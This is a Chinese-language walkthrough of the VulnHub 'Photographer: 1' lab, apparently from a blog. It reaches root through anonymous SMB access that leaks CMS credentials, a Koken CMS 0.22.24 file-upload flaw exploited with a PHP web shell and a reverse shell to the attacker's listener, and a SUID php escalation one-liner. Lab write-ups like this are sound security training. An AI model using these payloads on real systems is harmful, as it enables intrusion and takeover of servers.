vulnhub Photographer: 1

渗透思路:

nmap扫描 ---- 手工发现CMS版本和已知漏洞 ---- SMB匿名登录发现CMS用户名和密码 ---- 利用Koken CMS 0.22.24任意文件上传漏洞getshell ---- php suid提权

环境信息:

靶机:192.168.101.85

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.85

扫描到端口80、139、445、8000

2、发现CMS版本和已知漏洞

浏览器访问http://192.168.101.85:8000/,在页面底部发现

Built with Koken

查看网页源代码可以看到Koken的版本是0.22.24

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers上查找koken,发现Koken CMS 0.22.24有任意文件上传漏洞:

Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated) - PHP webapps Exploit

该漏洞主要利用步骤如下:

Steps to exploit:

1. Create a malicious PHP file with this content: <?php system($_GET['cmd']);?>

构造php文件

2. Save as "image.php.jpg"

保存为“xxx.php.jpg”

3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.

登录CMS,在Import Content处上传前两步构造的文件

4. On Burp, rename your file to "image.php"

在burp中将文件更名为xxx.php

5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.

在CMS的Download File处悬停鼠标发现上传的文件保存的位置,并访问。

3、SMB匿名登录发现CMS用户名密码

由于Koken CMS 0.22.24的任意文件上传漏洞需要先登录CMS,所以需要知道:

1、登录页面url

2、用户名和密码

登录页面url在网上查找加猜测,发现是http://192.168.101.85:8000/admin/

从登录页面看,用户名是email地址,估计这里常见用户名+弱密码是行不通的。

由于步骤1中扫描到了smb相关端口,可以尝试是否可以匿名访问

在kali中是直接在文件夹Network-->Browse Network中一路点下去,可以发现smb://photographer/sambashare/

windows系统上在文件夹中访问\\192.168.101.85发现共享目录sambashare

sambashare下有两个文件,其中mailsent.txt中是daisa收到的一封邮件内容,其中包含daisa的邮箱地址:daisa@photographer.com

网站密码:babygirl

4、利用Koken CMS 0.22.24任意文件上传漏洞getshell

以daisa@photographer.com为用户名,以babygirl为密码,登录http://192.168.101.85:8000/admin/,登录成功,来到页面http://192.168.101.85:8000/admin/#/library

Library -- Content页面右下角找到Import Content按钮

点击该按钮后可以看到文件上传窗口

在kali的/usr/share/webshells/php/目录下找到php-reverse-shell.php,修改$ip为攻击机ip,$port为攻击机nc监听端口,然后改名为shellx.php.jpg,并拖拽到上图所示文件上传窗口,然后点击import

burpsuite中找到发往http://192.168.101.85:8000/api.php?/content的POST报文,发送到repeater模块,将下图中高亮的两处文件名都改为shellx.php,也就是删掉结尾的.jpg

发送报文后,跟随重定向,可以看到文件上传成功,并且从响应报文中就可以知道文件的URI(originals下面的两级目录可能是随机生成的)

http://192.168.101.85:8000/storage/originals/c4/32/shellx.php

浏览器访问http://192.168.101.85:8000/storage/originals/c4/32/shellx.php,攻击机上nc监听端口即可得到靶机www-data用户的反弹shell

反弹shell中输入如下命令即可得到交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在/home/daisa下找到第一个flag:user.txt

5、php suid提权

用以下命令查找有suid的命令

find / -user root -perm /4000 2>/dev/null

发现一个很特殊的/usr/bin/php7.2

在GTFOBins中查找php,找到有suid权限的php命令提权的方法

php | GTFOBins

在靶机shell中输入如下命令,提权到root

php -r "pcntl_exec('/bin/bash', ['-p']);"

(euid表示有效用户ID,用于系统决定用户对系统资源的权限。此时whoami的返回结果是root)

在/root目录下找到第二个flag:proof.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值